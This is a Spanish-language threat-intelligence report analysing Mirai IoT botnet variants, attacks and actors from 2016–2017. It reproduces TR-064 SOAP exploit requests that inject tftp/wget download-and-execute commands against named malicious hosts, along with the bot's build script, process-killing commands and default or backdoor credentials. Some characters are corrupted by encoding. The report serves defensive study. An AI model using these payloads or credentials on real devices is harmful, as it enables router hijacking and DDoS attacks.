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1. Introducción 
 

 

 

 

Ha pasado un año desde que se registrara el 1 de agosto de 2016 la primera petición 

de un dispositivo infectado de la botnet IoT Mirai. A pesar de que no ser la primera de 

su especie (Gafgyt o Remaiten, entre otras, habían llegado antes), sí que marcó un 

antes y un después en cuanto al conocimiento por el gran público de la dimensión que 

supone la amenaza de los dispositivos IoT. 

Mirai provocó los dos ataques de denegación de servicio más grandes hasta la fecha, 

el ataque a la web de hosting OVH con más de 1 Tbps de carga1 (el mayor registrado 

hasta el momento) y el ataque a Dyn, que provocó la caída de portales como Twitter, 

Facebook o Paypal2. 

Este malware hace uso de la gran vulnerabilidad que presentan los dispositivos IoT, la 

implementación del protocolo UPnP3, el cual permite el acceso desde una red externa 

hasta el dispositivo a través del nateo de la red, publicando así el puerto de acceso a 

todo Internet. Este hecho, junto a la configuración en su mayoría de las credenciales por 

defecto y el hecho de que el usuario no es consciente de la infección han permitido a la 

botnet crecer. 

Sin embargo, lo que verdaderamente caracteriza a Mirai es que, tras dos meses de su 

primer registro, el código fuente fue filtrado, momento a partir del cual, numerosas 

variantes con características, funcionalidades y dispositivos objetivo diferentes, salieran 

a la luz. 

Además, cabe destacar que Mirai se almacena en memoria, por lo que un reinicio del 

mismo provoca la desinfección inmediata4, exponiéndose de ese modo a ser infectado 

                                                           
1 http://securityaffairs.co/wordpress/51640/cyber-crime/tbps-ddos-attack.html 
2 https://www.theguardian.com/technology/2016/oct/26/ddos-attack-dyn-mirai-botnet 
3 https://hydrasky.com/network-security/upnp-universal-plug-and-play-vulnerabilities/ 
4 https://www.pwnieexpress.com/blog/mirai-botnet-part-3 



por una botnet diferente y provocando un continuo traspaso de dispositivos de una 

botnet Mirai a otra. 

Este documento tiene el objetivo de exponer muchas de las características que hemos 

podido registrar en la botnet y la evolución sufrida durante su año de existencia. 

Para la redacción del siguiente análisis nos hemos basado, por una parte, en las 342 

muestras pertenecientes a diferentes variantes de Mirai recolectadas a través de 

nuestros sistemas honeypot, así como también de la extracción de muestras y/o análisis 

estáticos de las plataformas detux.org, linuxhuntingmalware.com y VirusTotal. En total, 

se ha hecho uso de una población de más de 1200 muestras. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 

2. Análisis de la Amenaza 
 

 

 

 

A pesar de que los primeros registros de Mirai parten del uno de agosto de 2016, los 

primeros análisis lo catalogan como una variante de Linux.DDoS5. No será catalogado 

como un malware diferente a Gafgyt hasta el artículo de Malware Must Die el día 31 de 

agosto6. 

Tras más de mes y medio de propagación de la botnet, se produjo el primer ataque. Más 

de 600 Gbps fueron emitidos contra el portal krebsonsecurity.com el día 20 de 

septiembre7. Pocos días después OVH reportó haber sufrido ataques de más de 1 Tbps. 

Sin embargo, un giro inesperado ocurrió el día 30 de septiembre de 2016, cuando Anna-

Senpai compartió el código fuente de Mirai en la plataforma Hackforums, convirtiéndose 

así en la primera botnet IoT Open Source8. 

 

Tras la difusión del código fuente, el número de dispositivos infectados se duplicó, sin 

embargo, el impacto fue menor de lo esperado. Es probable que, dado el ruido mediático 

que provocaron los ataques récord, muchos grupos de cibercriminales no quisieran 

verse asociados al nombre de Mirai, al menos por el momento. 

                                                           
5 https://vms.drweb-av.es/virus/?_is=1&i=8666208 
6 http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html 
7 https://www.incapsula.com/blog/malware-analysis-mirai-ddos-botnet.html 
8 https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/ 



El día 21 de octubre de 2016, Dyn sufrió un ataque de denegación de servicio que 

provocó la pérdida de conectividad a portales como Reddit, Spotify, Twitter o Facebook 

desde cualquier parte del mundo9. El grupo hacktivista New World Hackers reclamó la 

responsabilidad del ataque como respuesta a la rescisión del acceso a Internet por parte 

de Ecuador a Julian Assange en su embajada de Londres. 

Sin embargo, varios investigadores dudan de la autoría. El cabeza de estrategia de Dyn 

aseguró que los ataques a los servidores de la compañía eran más complejos que los 

detectados anteriormente. 

No se ha acusado formalmente a ningún grupo hasta la fecha. 

Nueva actividad con la botnet IoT se registró el día 2 de noviembre de 2016, dónde 

desde un ISP de Liberia sufrieron un ataque de denegación de servicio provocando 

retardos e incluso la total caída de Internet en gran parte del país10. 

El investigador de seguridad Kevin Beaumont aseguró que un tráfico de 500 Gbps se 

emitió contra un punto crítico en la infraestructura de las telecomunicaciones del país11. 

Este ataque fue provocado por una variante poco modificada, nombrada por la cuenta 

de Twitter @MiraiAttacks como Botnet #1412. 

Los primeros registros de estas muestras son del día 24 de octubre de 2016 y 

únicamente destaca por diferenciarse claramente de las primeras versiones de Mirai, 

optando por la eliminación de procesos con la cadena ñmiraiò durante la infecci·n del 

dispositivo. 

Ésta no sería la única actuación de éste actor. El día 27 de noviembre de 2016, se 

detectó un ataque contra los routers de la empresa proveedora de servicios Deutsche 

Telekom, la cual dejó sin Internet a casi un millón de hogares alemanes13. 

A diferencia de las muestras encontradas anteriormente, la infección del dispositivo no 

se llevó a cabo mediante un escaneo de la red con intentos de login con las credenciales 

por defecto (de hecho, apenas se encuentran en el código cuatro combinaciones de 

usuario y contraseña), sino que hace uso de la vulnerabilidad ñLAN side DSL CPE 

                                                           
9 https://w ww.theguardian.com/technology/2016/oct/26/ddos-attack-dyn-mirai-botnet 
10 https://www.theguardian.com/technology/2016/nov/03/cyberattack-internet-liberia-ddos-hack-
botnet 
11 https://www.scmagazine.com/analysts-mixed-on-reason-for-liberia-mirai-attack/article/570970/ 
12 https://twitter.com/MiraiAttacks/status/793877336911380480 
13 https://krebsonsecurity.com/2016/11/new-mirai-worm-knocks-900k-germans-offline/ 



configurationò definida en el protocolo TR-064 mediante la ejecución remota de código 

para la descarga y ejecución del malware14. 

El 22 de febrero de 2017, el hacker BestBuy fue arrestado en el aeropuerto de Londres 

por estar bajo sospecha de la infección de 900.000 routers de Deutsche Telekom15. En 

el juicio, él mismo aseguró que la denegación de servicio de los routers fue provocado 

por un funcionamiento erróneo del malware y que el objetivo únicamente era infectar 

dichos dispositivos para una posterior ejecución de ataques DDoS.  

Tras declararse culpable, asumió también la responsabilidad del ataque a Liberia y 

aseguró haber recibido un pago de 10.000$ de un ISP de Liberia para atacar a su 

competencia16. 

Un ligero incremento en variantes y número de muestras se detectaron durante los 

siguientes meses, sin embargo, es a partir de febrero de 2017 cuando se observa un 

aumento muy notable de variantes de Mirai, así como de actores. Cabe destacar que 

todo apunta a que es el grupo Lizard Squad el creador de muchas de estas variantes, 

que, tras varios meses desde la detenci·n del cibercriminal ñpeinò, junto a la distancia 

mediática del caso, habrían provocado su vuelta a la actividad, haciendo uso de las 

muestras como medio de reivindicación17. 

 

 

                                                           
14 https://www.enisa.europa.eu/publications/info-notes/mirai-malware-attacks-home-routers 
15 https://motherboard.vice.com/en_us/article/53q7wz/police-have-arrested-a-suspect-in-a-massive-
internet-of-things-attack 
16 https://www.bitdefender.com/box/blog/iot-news/hacker-behind-deutsche-telekom-mirai-infection-
pleads-guilty/ 
17 https://motherboard.vice.com/en_us/article/nz7q77/feds-accuse-two-19-year-olds-of-hacking-for-
lizard-squad-and-poodlecorp 



Tras la mutación hacia la variante Persirai18 o Bigbotpein (la cual parece estrechamente 

relacionada con diferentes variantes de Mirai y analizaremos en éste documento 

posteriormente) a través de la adopción de técnicas más limpias y efectivas de difusión, 

el número de muestras de Mirai ha disminuido drásticamente. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

                                                           
18 http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-
targets-ip-cameras/ 



 

3. Análisis de Variantes Destacadas 
 

 

 

Mirai Base 
 

En este aparatado se va a analizar aquella parte del código fuente del bot del cliente de 

mirai que más tarde utilizaremos para la clasificación de las diferentes variantes. 

Este código fue difundido el 30 de septiembre de 2016 por Anna Senpai: 

Funciones destacadas 
 

 killer_init  Ÿ Mata los procesos asociados a los servicios telnet (23), SSH (22) y 

HTTP (80), para prevenir el acceso al sistema por parte de un tercero, ya sea un 

usuario o malware. 

 memory_scan  Ÿ Busca en memoria procesos asociados al malware Qbot, 

Zollard o empaquetado UPX. 

 get_random_ip  Ÿ Genera IPs aleatorias para el escaneo de puertos telnet o 

SSH en busca de credenciales por defecto, evitando aquellas relacionadas con 

General Electric, Hewlett-Packard, US Postal Service y el departamento de 

defensa de los Estados Unidos. 

 scanner_init  Ÿ Se encuentra la lista de 62 credenciales por defecto de 

dispositivos IoT (61 únicas, pues guest/guest está repetida). 

 main  Ÿ Modifica los archivos /dev/watchdog o /dev/misc/watchdog de cara a 

evitar el reinicio del dispositivo por él mismo, pues provocaría la desinfección 

inmediata. 

 attack_init Ÿ En esta funci·n encontramos los siguientes ataques: 

 

 

 

 

 

 

 

attack_udp_generic 
attack_udp_vse 
attack_udp_dns 
attack_udp_plain 
attack_tcp_syn 
attack_tcp_ack 

attack_tcp_stomp 
attack_gre_ip 

attack_gre_eth 
attack_app_proxy 
attack_app_http 



Sin embargo, el ataque  , se encuentra comentado, y la función a la que hace referencia 

en el archivo attack_app.c, vacío. 

Es en este archivo donde se menciona el enlace del videoclip ñNever gonna give you 

upò de Rick Astley, 

https://www.youtube.com/watch?v=dQw4w9WgXcQ&feature=youtu.be presente en 

numerosas variantes. 

 

 

También encontramos los User-Agents utilizados en las peticiones HTTP. 

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/51.0.2704.103 Safari/537.36 

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/52.0.2743.116 Safari/537.36 

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/51.0.2704.103 Safari/537.36 

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/52.0.2743.116 Safari/537.36 

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) 
Version/9.1.2 Safari/601.7.7 

 

  



Compilación 
 

En el paquete filtrado, podemos encontrar el script para la compilación del binario. 

Para la compilación del binario encontramos la siguiente instrucción de ayuda para la 

ejecución del script: 

 

Así pues, la opción release lleva a cabo la compilación llamando a la función 

compile_bot, la cual utiliza gcc para la compilación de todas las arquitecturas y una 

posterior eliminación de información simbólica. 

 

Por otra parte, encontramos la posibilidad de compilarlo en una versi·n ñdebugò la cual 

hace uso de diferentes versiones de gcc, dejando el código sin stripear. 

 

 

 

 

 

 

 

 

 

function compile_bot { 

"$1-gcc" -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,-
-gc-sections -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\" 

"$1-strip" release/"$2" -S --strip-unneeded --remove-section=.note.gnu.gold-version --
remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --
remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-
section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr 

 

echo "Usage: $0 <debug | release> <telnet | ssh>" 



Estructura del Ataque 
 

 Un dispositivo infectado accede vía telnet o SSH a otro dispositivo mediante 

credenciales por defecto 

 El dispositivo atacante envía la dirección IP y credenciales a su servidor de 

reporte 

 El servidor lleva a cabo un ataque contra el dispositivo vulnerable con las 

credenciales correctas y ejecuta la instrucción de descarga y ejecución del bot 

de Mirai 

 El dispositivo vulnerable ha sido infectado y llevará a cabo la propagación de la 

botnet, además de abrir el puerto 48001 para habilitar la comunicación con el 

C2, listo para recibir órdenes 

 

  



Mirai #1 
 

Variante 1 
 

 Primer Mirai registrado. Fue subido a la plataforma VirusTotal el día 6 de agosto 

de 2016, aunque se tienen registros de actividad desde el día 1 de agosto 

 No dispone de dominio C2 en el código, la comunicación de report se lleva a 

cabo a través de la instrucción wiretap ïreport = ótcp://tcp://65.222.202.53:80ô 

 

 No incorpora el ataque HTTP Flood, motivo por el que no se encuentran los User-

Agents característicos de la botnet incorporados en el binario 

 Únicamente se encuentran referencias a los ataques 0, 1, 2, 3, 4, 5, 6, 7 y 8 

 

 A diferencia de las siguientes versiones, no se observa la modificación del fichero 

/dev/watchdog para evitar el reinicio del sistema. 



Variante 2 
 

Esta nueva variante ya tiene un formato bastante similar al Mirai Base, sin embargo, 

todavía tiene detalles muy característicos. 

 Registrada el 2 de septiembre de 2016 

 Variante bastante similar al Mirai Base 

 Mismas credenciales que en la variante anterior 

 Modifica el fichero /dev/watchdog para evitar que el dispositivo provoque el 

reinicio del mismo. 

 Incorpora el ataque HTTP Flood 

 

 

 

 Ya encontramos los 5 User-Agents presentes en la variante base 

 

 

 

Variante 3 - santasbigcandycane 
 

 Registrada el 23 de septiembre de 2016 

 Presenta por primera vez el dominio C2 en el código del binario 

 Bautizada así por nosotros por la referencia al dominio 

network.santasbigcandycane[.]cx  

 Incorpora como credenciales mother/fucker presentes en la variante base, 

probablemente como provocación, conocer de estar siendo objeto de análisis 

 Contiene la opción de modificación del archivo /dev/misc/watchdog en caso de 

no encontrar /dev/watchdog 

 Todo apunta a que se trata de la variante cuyo código fuente fue filtrado 

 

 



Botnet #14 
Variante 4 
 

 Registrada el 24 de octubre de 2016 

 Tiene mofoscam[.]org como servidor C2 asociado 

 Mismas credenciales presentes en el Mirai Base 

 Elimina de manera forzada los procesos legítimos relacionados con los servicios 

telnet y SSH legítimos, además de procesos con la cadena mirai 

 

 

 

 

 

 

 

 

 Variante que provocó el ataque contra los ISP de Libero el 2 de noviembre de 

2016 

 La eliminaci·n de procesos con la cadena ñmiraiò nos indica que es un grupo 

diferente a Mirai #1 

 

Variante TR-069 
 

 Primera variante con una modificación en profundidad 

 Su objetivo eran routers que tuvieran implementado el protocolo TR-069 

 Únicamente existen muestras para las arquitecturas ARM, MIPS, SPARC, 

PowerPC, Renesas SH y Motorola 68020 

 No utiliza las credenciales por defecto para la infección de dispositivos 

killall -9 telnetd 
pkill -9 telnetd 
pkill telnetd 
killall -9 dropbear 
pkill -9 dropbear 
killall -9 telnet 
pkill -9 telnet 
pkill telnet 
busybox killall -9 mirai.arm 
busybox killall -9 mirai.sh4 
busybox killall -9 mirai.arm7 
busybox killall -9 mirai.mips 
busybox killall -9 mirai.mpsl 



 Hace uso de la vulnerabilidad ñLAN side DSL CPE configurationò definida en el 

protocolo TR-64 y todavía presente en el protocolo TR-069, la cual permite la 

ejecución remota de código a través de siguiente petición SOAP por HTTP: 

 

 Una segunda variante fue registrada haciendo uso del protocolo HTTP para la 

descarga del script, además del ya utilizado anteriormente tftp 

 

 Incorpora DGA para la generación periódica de dominios que pueden utilizarse 

como puntos de encuentro con sus servidores C2, además de servir como 

medida de protección contra el descifrado de dominios en el servicio C2 

[172.16.1.32:60556 --> XX.XXX.XXX.XXX:7547] 

POST /UD/act?1 HTTP/1.1 

Host: 127.0.0.1:7547 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 

SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers 

Content-Type: text/xml 

Content-Length: 534 

<?xml version="1.0"?><SOAP-ENV:Envelopexmlns:SOAP-

ENV="http://schemas.xmlsoap.org/soapenvelope/" SOAP-

ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body>  

<u:SetNTPServersxmlns:u="urn:dslforum-org:service:Time:1"> NewNTPServer1>`cd 

/var/tmp;cd/tmp;tftp -l b -r b -g vizxv.pw;sh b̀</NewNTPServer1> 

NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>   

<NewNTPServer4>NewNTPServer4>   <NewNTPServer5></NewNTPServer5>  

</u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope> 

<?xml version="1.0"?><SOAP-ENV:Envelopexmlns:SOAP-

ENV="http://schemas.xmlsoap.org/soapenvelope/" SOAP-

ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body>  

<u:SetNTPServersxmlns:u="urn:dslforum-org:service:Time:1"> NewNTPServer1>`cd 

/tmp;tftp -l 3 -r 1 -g l.ocalhost.host;chmod 777 3;./3`</NewNTPServer1> 

NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>   

<NewNTPServer4>NewNTPServer4>   <NewNTPServer5></NewNTPServer5>  

</u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope> 

<?xml version="1.0"?><SOAP-ENV:Envelopexmlns:SOAP-

ENV="http://schemas.xmlsoap.org/soapenvelope/" SOAP-

ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body>  

<u:SetNTPServersxmlns:u="urn:dslforum-org:service:Time:1"> NewNTPServer1>`cd 

/tmp;wget http://l.o calhost.host/1;chmod 777 1;./1̀</NewNTPServer1> 

NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>   

<NewNTPServer4>NewNTPServer4>   <NewNTPServer5></NewNTPServer5>  

</u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope> 



 El malware intenta la resolución de dos de los tres dominios que podemos 

encontrar en las strings del código (tr069[.]online, tr069[.]support y tr069[.]tech). 

En caso de fallar en su resolución, llevará a cabo la generación de un dominio 

aleatorio con una semilla según la fecha, tomando los valores de día, mes y año. 

 

 

 Un error en la implementación provocó una denegación de servicio al proveedor 

de servicios Deutsche Telekom el día 28 de noviembre de 2016 

 El objetivo, tal y como aseguró su autor, era la infección de los routers para una 

posterior ejecución de ataques DDoS 

 En el código encontramos la instrucción para cerrar el puerto 7546 utilizado para 

la comunicación con el ISP 

 

 

 

 Estas instrucciones no se llegaron a ejecutar debido a que la mayoría de 

dispositivos no tenían por defecto el sistema operativo Linux 



Variante 5 
 

 Registrada a partir del 28 de octubre de 2016 

 Incorpora siete combinaciones de credenciales nuevas 

 Dichas combinaciones tienen como objetivo mayoritario cámaras web exteriores 

de vigilancia (AM-Q6320-WIFI, Camera VC-A20IPBLF1 o Hi3518E) 

 Provoca un aumento de cerca de 5.000 dispositivos en el tamaño de la botnet 

 

Variante puerto 5353 
 

 Registrada por primera vez el día 29 de diciembre de 2016 

 Ejecuta peticiones DNS contra el puerto 5353 de dispositivos IoT 

 El puerto 5353 es utilizado por el servicio Multicast DNS, el cual permite la 

detección automática de dispositivos 

 El protocolo mDNS sufre una vulnerabilidad que permite la respuesta a consultas 

unicast desde fuera de la red local de enlace. Esta respuesta es de mayor 

tamaño que la consulta y puede utilizarse para la amplificación de ataques de 

denegación de servicio 

 A pesar de la magnitud de la amenaza, no se tienen registros de que haya sido 

utilizada. 

 

Variante Windows 
 

 Registrada por primera vez el 15 de enero de 2017 

 Dominios asociados update.drytekc[.]com y report.drytekc[.]com 

 La variante más compleja detectada hasta la fecha 

 Permite ampliar el espectro de dispositivos vulnerables a Mirai 

 El objetivo era no cometer el error de Botnet #14 de no ejecutarse por 

incompatibilidad 

 Escanea, aparte de telnet y SSH, los puertos asociados a los servicios 

DCE/RPC, SMB, MSSQL, MySQL y RDP 

 En la función main podemos encontrar diferentes opciones de ejecución del 

malware 

-syn - use scanning in Tcp_Syn mode instead of Tcp_connect mode 

-log - log information in the log file 

-see - display console window 

-srv - launch as a server 

-cli - launch as a client 

-start, -stop, -create, -delete - service management 

-run ς launch the Trojan as an application, not as a service 

-s - launch the Trojan a service 



 

 Según las características de la víctima, se ejecuta de modo diferente 

o Si es un sistema operativo Linux, descarga y ejecuta una versión de Mirai 

Base, formando a partir de ese momento parte de la botnet 

 

 



o Si dispone de un sistema operativo Windows, el malware descarga una copia 

de sí mismo y continúa escaneando la red 

 

o Si la víctima era infectada vía base de datos, crea un usuario con privileagios 

en el servicio con credenciales Mssqla/Bus3456#qwein o MySQL/phpgod 

 

 A pesar de la mayor complejidad, su efectividad es limitada, ya que la infección 

únicamente se produce en una comunicación desde un dispositivo Windows a 

un dispositivo Linux 

 



Variante SSL 
 

 Registrada el día 19 de marzo de 2017 

 Incorpora un ataque más a los ya conocidos: HTTPS_Flood 

 

 La función attack_app_https incluye, del mismo modo que attack_app_http cinco 

opciones para la asignación de los User-Agent 

 En la gestión de la función se encuentran evidencias del uso de la librería 

OpenSSL 

 

 Incluye soporte para las arquitecturas x86_686 y x86_64 y no para ARMv7 



 

 Tamaño muy superior a las muestras habituales. Mientras que una variante de 

Mirai Base pesa alrededor de 57Kb, ésta tiene un tamaño de 1,6Mb debido a 

que lleva embebida la librería OpenSSL 

 Más de 3.000 funciones, mientras que Mirai Base tiene alrededor de 300 

 

Variante Memes 
 

 Aunque se ha encontrado una muestra de la arquitectura ARMv7 registrada el 

día 8 de diciembre de 2016, el resto de muestras fueron registradas entre el 14 

y el 19 de marzo de 2017 

 Nombrada así por ejecutar en la víctima la cadena /bin/busybox MEMES 

 Combinación de credenciales por defecto habituales 

 El autor firma con la frase ñGosh that chinese family at the next table sure is ate 

a lotò, frase que hace referencia a la serie de televisión Padre de Familia, donde 

se comenta que la frase de activaci·n de esp²as por parte de la KGB es ñGosh 

that italian family at the next table sure is quietò19 

 Más de 3.000 funciones, mientras que Mirai Base tiene alrededor de 300 

                                                           
19 https://www.youtube.com/watch?v=wdqCekOWcKs 



 

 Ejecución de las cadenas PING/PONG, propia del malware Gafgyt 

 Incorpora dvrHelper, dvrRunNer, dvrRapist, dvrAssist, dvrTelnet y dvrBotnet 

como directorio para la descarga de la muestra 

 

 

 A excepción de la muestra de diciembre de 2016, no se encuentran User-Agents 

cifrados entre las strings de las muestras 

 

Variante Masuta 
 

 Registrada por primera vez el día 1 de febrero de 2017 

 Variante con más muestras detectadas 

 No se han encontrado dominios cifrados entre las strings 

 También incorpora dvrHelper, dvrRunNer, dvrRapist, dvrAssist, dvrTelnet y 

dvrBotnet como directorio para la descarga de la muestra 

 Podemos encontrar la frase ñGosh that chinese family at the next table sure is 

ate a lotò, aunque esta vez, cifrada con XOR con clave 0x22. 

 Todo apunta a que el grupo detrás de la variante es el mismo que detrás de 

Memes 



 

Variante Satori 
 

 Primeros registros el 22 de abril de 2017 

 Clave de xoreado diferente (0x03) 

 Ejecuta en la v²ctima la cadena ñ/bin/busybox SATORIò 

 Incluye la cadena Bigbotpein 

 Incorpora dvrHelper, dvrRunNer, dvrRapist, dvrAssist, dvrTelnet y dvrBotnet 

como directorio para la descarga de la muestra 

 Las muestras de Satori de julio de 2017 están sin strippear 

 

Variante Freepein 
 

 Primer registro el 9 de mayo de 2017 

 Tiene como dominios asociados network.bigbotpein[.]com y 

krebs.bigbotpein[.]com 

 Presenta grandes diferencias en cuanto a estructura respecto a variantes 

anteriores 

 Su nombre har²a referencia al cibercriminal ñpeinò, perteneciente al grupo 

LizardSquad, preso desde octubre de 2016 

 Todo apunta a que el grupo detrás de la variante es el mismo que detrás de 

Memes 

Variante Bigbotpein 
 

 Primeros registros en junio de 2017 

 Características muy diferenciadas de variantes anteriores 

 Incorpora la metodología de difusión propia de la botnet Hajime 

 La infección se produce mediante la inyección de un binario a través del 

comando ñechoò por parte del servidor. Este binario ejecutará la descarga y 

posterior ejecución del bot. 

 

 También referencia al cibercriminal pein 

 



 

 

4. Actores detrás de Mirai 
 

 

 

 

Mirai #1 
 

 Grupo creador de Mirai y autor de los ataques a krebsonsecurity el día 23 de 

septiembre de 2016 y a OVH el 24 de septiembre de 2016 

 Anna Senpai formaría parte de este grupo 

 El investigador Brian Krebs relaciona al grupo LelDos a través de objetivos 

relacionados con el gaming online20 

 No se han encontrado relaciones de éste grupo con ninguna variante tras la 

publicación del código fuente 

 

Botnet #14 
 

 Grupo responsable de los ataques a los ISP de Liberia y Deutsche Telekom 

 Daniel K. fue arrestado el 22 de febrero de 2017 por el ataque contra la empresa 

alemana 

 Admitió que la caída de los routers estuvo relacionada con un error en la 

funcionalidad del código 

 Durante el juicio, aseguró haber recibido $10.000 de un ISP de Liberia por atacar 

a sus competidores 

 

Lizard Squad 
 

 Activo desde febrero de 2017 

 Modifica la firma con cada variante 

 Actor detrás de las variantes Memes, Masuta o Freepein 

 Grupo que más ha evolucionado  

o Nuevas credenciales 

o Firmas 

                                                           
20 https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/ 



Á Modificaci·n de la cadena ñ/bin/busybox MIRAIò 

Á Inyecta la frase ñgosh that chinese familyéò 

o Empaquetado UPX 

o Método de difusión a través de la inyección del código hexadecimal del 

downloader 

 Usado como reivindicación del cibercriminal pein encarcelado por sus relaciones 

con los ataques DDoS contra Playstation Network o Blizzard 

 Referencian tanto al investigador Brian Krebs como a Level 3 Communications 

a través de los nombres de dominio Krebs.fucklevel3[.]wang 

 

 

 

 



Otros Grupos 
 

A partir de febrero de 2017, un gran número de grupos se unieron a la lucha por 

dispositivos IoT. A diferencia del grupo originador de la amenaza o Lizard Squad, 

estos grupos tendrían como objetivo el minado de bitcoin o la extorsión a 

corporaciones a través de amezas mediante correo electrónico. 21 

 

Cocaine 
 

 En los dominios tiene la cadena cocaine y con el TLD ñruò 

 La primera vez que se registra es el 7 de febrero de 2017 y la última el 24 de 

abril de 2017 

 Todos usan las mismas credenciales por defecto 

 70 combinaciones que eliminan la entrada mother/fucker e incorporan las 

siguientes: 

o root/cat1029 

o admin/cat1029 

o admin/admin@mymifi 

o root/ZmqVfoSIP 

o root/antslq 

o default/default 

o adminlvjh/adminlvjhadminlvjh123. 

 Ningún otro grupo tiene almacenadas en el código la combinación en tal orden, 

por lo que parece un grupo de actuación aislado 

 

uu8889 
 

 Grupo que tiene como dominios C2 y de report back.uu8889[.]com y 

report.uu8889[.]com 

 El intervalo de actuación de este grupo se resume en el mes de febrero de 2017 

 Las mismas credenciales para todas las variantes 

 Hace uso de las 60 combinaciones disponibles en la variante base, además de 

15 combinaciones más 

 Las nuevas combinaciones van dirigidas contra dispositivos como DVR 

GM812T, routers Telstra 4Gx o cámaras web como HI3516C IMX32 

 

 

 

                                                           
21 https://www.incibe.es/protege-tu-empresa/avisos-seguridad/oleada-correos-fraudulentos-
amenazan-hackear-tu-empresa 



Smithre 
 

 Grupo que tiene como dominio C2 smithre[.]top 

 Actividad entre los meses de marzo y abril de 2017 

 A pesar de que sus primeras variantes llevaban las credenciales utilizadas en la 

variante Mirai Base, eliminan la entrada mother/fucker e incorporan antsql y 

zyad1234, características del grabador de cámaras mini NVR y Mitrastar HGW-

2501GN-R2, respectivamente 

 

Snicker 
 

 Tiene como dominio C2 snicker[.]ir 

 Grupo detectado por primera vez en febrero de 2017 y registrado hasta mayo de 

2017 

 Tiene más de 120 combinaciones de credenciales, aunque hace uso de 

diferentes combinaciones en cada muestra 

 A pesar de la distancia en el tiempo entre la primera y la última variante, todas 

tienen la misma estructura, únicamente diferenciándose en los dispositivos que 

tienen como objetivo 

 Incorporan los once ataques habituales en el malware Mirai 

 El tamaño del diccionario varia, pues se han encontrado muestras donde apenas 

se incluyen 17 combinaciones 

 

Tonguepunchfartbox/glibc 
 

 Una variante del servidor C2 suvur.glibc[.]com comparte la misma combinación 

y orden de credenciales (únicamente 3 de las 1.200 muestras examinadas tienen 

esta combinación) 

 Comparando binarios con dominios de servidor C2 suvur.glibc[.]com y 

cnc.tonguepunhfartbox tienen una correlación del 99% 

 No tienen eliminados los enlaces simbólicos 

 No está strippeado, por lo que todas las funciones tienen el nombre original 

 

 

 




















































